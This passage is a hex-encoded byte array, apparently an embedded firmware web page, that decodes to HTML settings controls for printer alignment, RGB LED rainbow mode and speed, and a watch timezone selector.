0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, - 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, - 0x6F, 0x72, 0x3D, 0x22, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x22, 0x3E, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x41, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, - 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, - 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x53, 0x65, 0x6C, 0x65, 0x63, 0x74, - 0x20, 0x74, 0x68, 0x65, 0x20, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x64, 0x20, 0x74, 0x65, 0x78, 0x74, 0x2E, 0x3C, 0x2F, 0x73, 0x70, - 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x2D, 0x77, - 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, - 0x65, 0x6C, 0x65, 0x63, 0x74, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x30, 0x22, - 0x3E, 0x43, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x4D, 0x69, 0x64, 0x64, 0x6C, 0x65, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x31, 0x22, 0x3E, 0x54, 0x6F, 0x70, 0x20, 0x4C, - 0x65, 0x66, 0x74, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x32, 0x22, 0x3E, 0x54, 0x6F, 0x70, 0x20, 0x52, 0x69, 0x67, 0x68, 0x74, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, - 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, - 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x33, 0x22, 0x3E, 0x42, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x20, 0x52, 0x69, 0x67, 0x68, 0x74, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, - 0x75, 0x65, 0x3D, 0x22, 0x34, 0x22, 0x3E, 0x42, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x20, 0x4C, 0x65, 0x66, 0x74, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x6F, 0x6E, 0x63, 0x6C, - 0x69, 0x63, 0x6B, 0x3D, 0x22, 0x73, 0x65, 0x6E, 0x64, 0x74, 0x6F, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x28, 0x29, 0x22, 0x3E, 0x53, 0x65, 0x6E, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3C, 0x2F, 0x62, - 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x52, 0x47, 0x42, 0x20, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, - 0x72, 0x67, 0x62, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x68, 0x32, 0x3E, 0x52, - 0x47, 0x42, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x3C, 0x2F, 0x68, 0x32, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, - 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x72, 0x61, 0x69, 0x6E, 0x62, 0x6F, 0x77, 0x5F, 0x6D, 0x6F, 0x64, 0x65, 0x22, 0x3E, 0x52, 0x61, 0x69, 0x6E, 0x62, - 0x6F, 0x77, 0x20, 0x4D, 0x6F, 0x64, 0x65, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, - 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, - 0x3E, 0x54, 0x6F, 0x67, 0x67, 0x6C, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x61, 0x69, 0x6E, 0x62, 0x6F, 0x77, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x52, - 0x47, 0x42, 0x20, 0x4C, 0x45, 0x44, 0x73, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, - 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x63, - 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x67, 0x67, 0x6C, 0x65, 0x2D, 0x73, 0x77, 0x69, 0x74, 0x63, 0x68, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x62, 0x6F, 0x78, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x72, 0x61, - 0x69, 0x6E, 0x62, 0x6F, 0x77, 0x5F, 0x6D, 0x6F, 0x64, 0x65, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x6C, 0x69, 0x64, 0x65, 0x72, 0x22, 0x3E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, - 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x72, 0x67, 0x62, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x22, 0x3E, 0x52, 0x47, 0x42, 0x20, 0x53, 0x70, 0x65, 0x65, 0x64, 0x20, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, - 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x53, 0x65, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, - 0x70, 0x65, 0x65, 0x64, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x52, 0x47, 0x42, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x63, 0x68, 0x61, 0x6E, 0x67, 0x65, 0x20, 0x28, 0x31, 0x35, 0x20, 0x2D, 0x20, 0x35, 0x30, 0x29, 0x2E, 0x3C, - 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, - 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x6E, 0x75, 0x6D, 0x62, - 0x65, 0x72, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x72, 0x67, 0x62, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x22, 0x20, 0x6D, 0x69, 0x6E, 0x3D, 0x22, 0x31, 0x35, 0x22, 0x20, 0x6D, 0x61, 0x78, 0x3D, 0x22, 0x35, 0x30, 0x22, 0x20, 0x73, 0x74, 0x65, - 0x70, 0x3D, 0x22, 0x31, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x31, 0x35, 0x20, 0x2D, 0x20, 0x35, 0x30, 0x22, 0x20, 0x72, 0x65, 0x71, 0x75, 0x69, 0x72, 0x65, 0x64, 0x3E, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x46, 0x6C, 0x61, 0x70, 0x70, 0x79, 0x20, 0x47, - 0x68, 0x6F, 0x73, 0x74, 0x20, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, - 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x66, 0x6C, 0x61, 0x70, 0x70, 0x79, 0x5F, 0x67, 0x68, 0x6F, 0x73, 0x74, - 0x5F, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x68, 0x32, 0x3E, 0x57, 0x61, 0x74, 0x63, - 0x68, 0x20, 0x2F, 0x20, 0x52, 0x54, 0x43, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x3C, 0x2F, 0x68, 0x32, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x74, 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x5F, 0x73, 0x65, 0x6C, 0x65, 0x63, - 0x74, 0x22, 0x3E, 0x54, 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, - 0x65, 0x78, 0x74, 0x22, 0x3E, 0x53, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x20, 0x79, 0x6F, 0x75, 0x72, 0x20, 0x74, 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x2E, 0x20, 0x54, 0x68, 0x69, 0x73, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x62, 0x65, 0x20, - 0x75, 0x73, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x61, 0x64, 0x6A, 0x75, 0x73, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x20, 0x63, 0x6C, 0x6F, 0x63, 0x6B, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x74, 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x5F, 0x73, 0x65, 0x6C, - 0x65, 0x63, 0x74, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 